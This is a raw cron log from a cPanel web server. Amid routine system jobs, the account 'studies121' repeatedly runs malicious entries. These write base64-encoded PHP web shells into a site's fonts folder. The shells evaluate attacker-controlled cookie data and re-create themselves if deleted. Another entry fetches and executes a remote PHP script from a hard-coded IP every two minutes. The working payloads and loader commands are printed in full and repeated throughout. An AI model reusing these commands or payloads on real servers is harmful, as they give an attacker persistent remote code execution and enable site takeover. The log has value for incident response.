Aug 30 15:07:01 ip-184-168-122-23 CROND[32575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:07:01 ip-184-168-122-23 CROND[32576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:07:01 ip-184-168-122-23 CROND[32577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:07:01 ip-184-168-122-23 CROND[32578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:08:01 ip-184-168-122-23 CROND[32698]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:08:01 ip-184-168-122-23 CROND[32700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:08:01 ip-184-168-122-23 CROND[32701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:08:01 ip-184-168-122-23 CROND[32702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:08:01 ip-184-168-122-23 CROND[32703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:09:01 ip-184-168-122-23 CROND[377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:09:01 ip-184-168-122-23 CROND[378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:09:01 ip-184-168-122-23 CROND[379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:09:01 ip-184-168-122-23 CROND[380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:09:01 ip-184-168-122-23 CROND[381]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 15:10:01 ip-184-168-122-23 CROND[478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:10:01 ip-184-168-122-23 CROND[479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:10:01 ip-184-168-122-23 CROND[488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:10:01 ip-184-168-122-23 CROND[487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:10:01 ip-184-168-122-23 CROND[484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:10:01 ip-184-168-122-23 CROND[482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 15:10:01 ip-184-168-122-23 CROND[486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:10:01 ip-184-168-122-23 CROND[485]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:11:01 ip-184-168-122-23 CROND[693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:11:01 ip-184-168-122-23 CROND[695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:11:01 ip-184-168-122-23 CROND[696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:11:01 ip-184-168-122-23 CROND[697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:12:01 ip-184-168-122-23 CROND[789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:12:01 ip-184-168-122-23 CROND[793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:12:01 ip-184-168-122-23 CROND[794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:12:01 ip-184-168-122-23 CROND[791]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:12:01 ip-184-168-122-23 CROND[792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:13:01 ip-184-168-122-23 CROND[927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:13:01 ip-184-168-122-23 CROND[928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:13:01 ip-184-168-122-23 CROND[926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:13:01 ip-184-168-122-23 CROND[929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:14:01 ip-184-168-122-23 CROND[1041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:14:01 ip-184-168-122-23 CROND[1043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:14:01 ip-184-168-122-23 CROND[1044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:14:01 ip-184-168-122-23 CROND[1046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:14:01 ip-184-168-122-23 CROND[1048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:15:01 ip-184-168-122-23 CROND[1149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:15:01 ip-184-168-122-23 CROND[1155]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:15:01 ip-184-168-122-23 CROND[1156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:15:01 ip-184-168-122-23 CROND[1159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:15:01 ip-184-168-122-23 CROND[1161]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:15:01 ip-184-168-122-23 CROND[1160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:16:01 ip-184-168-122-23 CROND[1257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:16:01 ip-184-168-122-23 CROND[1258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:16:01 ip-184-168-122-23 CROND[1265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:16:01 ip-184-168-122-23 CROND[1261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:16:01 ip-184-168-122-23 CROND[1263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:16:01 ip-184-168-122-23 CROND[1264]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 15:17:01 ip-184-168-122-23 CROND[1485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:17:01 ip-184-168-122-23 CROND[1486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:17:01 ip-184-168-122-23 CROND[1489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:17:01 ip-184-168-122-23 CROND[1490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:18:01 ip-184-168-122-23 CROND[1567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:18:01 ip-184-168-122-23 CROND[1569]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:18:01 ip-184-168-122-23 CROND[1572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:18:01 ip-184-168-122-23 CROND[1570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:18:01 ip-184-168-122-23 CROND[1571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:19:01 ip-184-168-122-23 CROND[1666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:19:01 ip-184-168-122-23 CROND[1669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
